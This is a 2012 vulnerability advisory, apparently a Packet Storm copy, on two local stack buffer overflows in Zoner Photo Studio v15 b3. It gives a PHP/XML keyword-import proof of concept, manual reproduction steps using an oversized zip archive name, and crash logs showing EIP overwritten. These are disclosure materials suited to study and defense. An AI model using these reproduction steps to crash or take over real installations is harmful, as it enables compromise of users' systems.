Zoner Photo Studio 15 B3 Buffer Overflow

2012-11-13T00:00:00
ID PACKETSTORM:118052
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2012-11-13T00:00:00

Description

                                        
                                            `Title:  
======  
Zoner Photo Studio v15 b3 - Buffer Overflow Vulnerabilities  
  
  
Date:  
=====  
2012-11-13  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=759  
  
  
VL-ID:  
=====  
759  
  
  
Common Vulnerability Scoring System:  
====================================  
4.5  
  
  
Introduction:  
=============  
Mit dem Bildverwalter `Zoner PhotoStudio` sammeln Sie Ihre digitalen Fotos unter einer Oberfläche. Die übersichtliche Benutzeroberfläche   
von `Zoner PhotoStudio` und der große Funktionsumfang machen es Ihnen einfach, Ihre Bilder zu verschönern und mit Freunden zu teilen.   
Eines der Highlights der Software ist die Möglichkeit, eigene 3D-Bilder zu entwerfen. Die fertigen Fotos können mit einer handelsüblichen   
3D-Brille dreidimensional bestaunt werden. Weiter können Sie Diashows anlegen, Ihre Bilder im Internet veröffentlichen oder Panorama-Fotos   
erstellen, wobei Ihnen das Programm ganz unkompliziert unter die Arme greift.  
  
(Copy of the Homepage: http://www.zoner.com/de-de/download-photo-studio-free )  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered multiple Buffer Overflow Vulnerabilities in the official Zoner Photo Studio Software v15 (b3).  
  
  
Report-Timeline:  
================  
2012-11-13: Public Disclosure  
  
  
Status:  
========  
Published  
  
  
Affected Products:  
==================  
Zoner Software  
Product: Zoner Photo Studio v15 Build 3  
  
  
Exploitation-Technique:  
=======================  
Local  
  
  
Severity:  
=========  
High  
  
  
Details:  
========  
Multiple local buffer overflow vulnerabilities are detected in the in the official Zoner Photo Studio Software v15 (b3).  
The bug allows local attackers to escalate out of the affected vulnerable software module with system process privileges.   
The vulnerabilities are detected in 2 different software functions of the main executeable (zps.exe).  
  
1.1  
The first local buffer overflow vulnerability is located in the XML `Keyword Import (Schlüsselwort)` module. The xml   
importer does not parse the length (values) of the string (name & description) when processing to import (buffer).   
The result is a local exploitable stack-based Buffer Overflow vulnerability.  
  
Vulnerable Module(s):  
[+] Setting(Einstellungen) > Keyword XML Import/Export (ZPS14Keywords.xml)  
  
Vulnerable Parameter(s):  
[+] Name  
[+] Description  
  
  
1.2  
The secound vulnerability is located in the `Publizieren > Per Mail versenden` (STRG+UMS+M) module. The module allows an local user   
to publish .zip compressed files. The archivname field does not filter or sanitize large inputs when processing to load (buffer)   
the compressed file name extensions. The result is a local exploitable stack-based Buffer Overflow vulnerability.   
  
Vulnerable Module(s):  
[+] Publizieren > Per Mail versenden > [Zip Comprimierung der Bilder]  
  
Vulnerable Parameter(s):  
[+] Archivname  
  
  
Proof of Concept:  
=================  
1.1  
The buffer overflow vulnerability can be exploited by local attackers with local privileged system user account and without required user inter action.  
For demonstration or reproduce ...  
  
PoC: [XML] ZPS14Keywords.xml | Setting(Einstellungen) > Keyword Import/Export  
<?php  
header('Content-Type: text/xml');  
print '<?xml version="1.0" encoding="UTF-8"?><keywords version="2.0"><hierarchy>  
<keyword category="yes" name="Security Researchers">  
<keyword category="no" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" description="31337;" />  
<keyword category="no" name="Benjamin Kunz Mejri" />  
<keyword category="no" name="PenTest23" />  
<keyword category="no" name="PenTest24" />  
<keyword category="no" name="PenTest25" />  
<keyword category="no" name="PenTest26" />  
<keyword category="no" name="PenTest26" />  
<keyword category="no" name="PenTest27" />  
<keyword category="no" name="PenTest28" />  
<keyword category="no" name="PenTest29" />  
<keyword category="no" name="PenTest30" />  
</keyword>  
<keyword category="yes" name="News">  
<keyword category="no" name="31337;" description="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!];" />  
<keyword category="no" name="Chokri Ben Achour" />  
<keyword category="no" name="PenTest32" />  
<keyword category="no" name="PenTest33" />  
<keyword category="no" name="PenTest34" />  
<keyword category="no" name="PenTest35" />  
<keyword category="no" name="PenTest36" />  
<keyword category="no" name="PenTest37" />  
<keyword category="no" name="PenTest38" />  
<keyword category="no" name="PenTest39" />  
<keyword category="no" name="PenTest40" />  
</keyword>  
<keyword category="yes" name="[BUFFER OVERFLOW (EIP&EBX) VIA IMPORT KEYWORDS!]">  
<keyword category="yes" name="31337;" />  
<keyword category="no" name="Ibrahim El-Sayed" />  
<keyword category="no" name="PenTest41" />  
<keyword category="no" name="PenTest42" />  
<keyword category="no" name="PenTest43" />  
<keyword category="no" name="PenTest44" />  
<keyword category="no" name="PenTest45" />  
<keyword category="no" name="PenTest46" />  
<keyword category="no" name="PenTest47" />  
<keyword category="no" name="PenTest48" />  
<keyword category="no" name="PenTest49" />  
</keyword>  
</hierarchy>  
</keywords>';  
?>  
  
--- Debug Logs ---  
(3a98.1840): Access violation - code c0000005   
eax=00000000 ebx=00410041 ecx=000031e7 edx=0878dd68 esi=0021ced0 edi=00000000  
eip=41414141 esp=0021ce68 ebp=0021cebc iopl=0 nv up ei pl zr na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246  
ntdll!ZwRaiseException+0x12:  
76fd15de 83c404 add esp,4  
0:000> u  
ntdll!ZwRaiseException+0x12:  
76fd15de 83c404 add esp,4  
76fd15e1 c20c00 ret 0Ch  
ntdll!NtRaiseHardError:  
76fd15e4 b830010000 mov eax,130h  
76fd15e9 33c9 xor ecx,ecx  
76fd15eb 8d542404 lea edx,[esp+4]  
76fd15ef 64ff15c0000000 call dword ptr fs:[0C0h]  
76fd15f6 83c404 add esp,4  
76fd15f9 c21800 ret 18h  
0:000> a  
76fd15de !exchain  
  
  
  
1.2  
The buffer overflow vulnerability can be exploited by local attackers with low privileged system user account and without required user inter action.  
For demonstration or reproduce ...  
  
Manually Exploitation/Reproduce: Publizieren > Per Mail versenden > Zip Comprimierung der Bilder > Archivname + FILE.[ZIP] (STRG+UMS+M)  
  
1. Install & start the Zoner Photo Studio Software  
2. Click in the main menu the Publizieren button and open the Per Mail versenden function - < STRG+UMS+M >  
3. Activate the Zip Compressed Pictures function (Zip Comprimierung der Bilder)  
4. Now, you see the standard value (Dateien.zip)  
5. Delete one of both words but do not delete the `.` because it is required for a not invalid submission (via OK Button)  
6. Include the following example strings Daten.[+Large String AAAAAA+] or [Large String AAAAAA+].zip and click OK!  
7. *BAM! Result is a stack-based buffer overflow [overwrites the ebx & eip]  
  
  
--- Exception Logs ---  
EventType=BEX [Buffer Overflow]  
EventTime=129972361437653387  
ReportType=2  
Consent=1  
ReportIdentifier=cfbd2b2a-2d1f-11e2-be0d-8c500fdd2fd9  
IntegratorReportIdentifier=cfbd2b29-2d1f-11e2-be0d-8c500fdd2fd9  
WOW64=1  
Response.type=4  
Sig[0].Name=Anwendungsname  
Sig[0].Value=Zps.exe  
Sig[1].Name=Anwendungsversion  
Sig[1].Value=14.0.1.7  
Sig[2].Name=Anwendungszeitstempel  
Sig[2].Value=4fffeaeb  
Sig[3].Name=Fehlermodulname  
Sig[3].Value=StackHash_24fa  
Sig[4].Name=Fehlermodulversion  
Sig[4].Value=0.0.0.0  
Sig[5].Name=Fehlermodulzeitstempel  
Sig[5].Value=00000000  
Sig[6].Name=Ausnahmeoffset  
Sig[6].Value=41414141 <=== EIP  
Sig[7].Name=Ausnahmecode  
Sig[7].Value=c0000005  
Sig[8].Name=Ausnahmedaten  
Sig[8].Value=00000008  
  
--- Debug Logs ---  
- Access violation - code c0000005  
ebx=00410041   
eip=41414141  
  
  
Risk:  
=====  
The security risk of the local buffer overflow vulnerabilities are estimated as medium(+)|(-)high.  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@vulnerability-lab.com)  
  
  
Disclaimer:  
===========  
The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties,   
either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-  
Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business   
profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some   
states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation   
may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases   
or trade with fraud/stolen material.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.vulnerability-lab.com/register  
Contact: admin@vulnerability-lab.com - support@vulnerability-lab.com - research@vulnerability-lab.com  
Section: video.vulnerability-lab.com - forum.vulnerability-lab.com - news.vulnerability-lab.com  
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php  
  
Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory.   
Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other   
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, sourcecode, videos and   
other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed),   
modify, use or edit our material contact (admin@vulnerability-lab.com or support@vulnerability-lab.com) to get a permission.  
  
Copyright © 2012 | Vulnerability Laboratory  
  
  
  
--   
VULNERABILITY RESEARCH LABORATORY  
LABORATORY RESEARCH TEAM  
CONTACT: research@vulnerability-lab.com  
  
`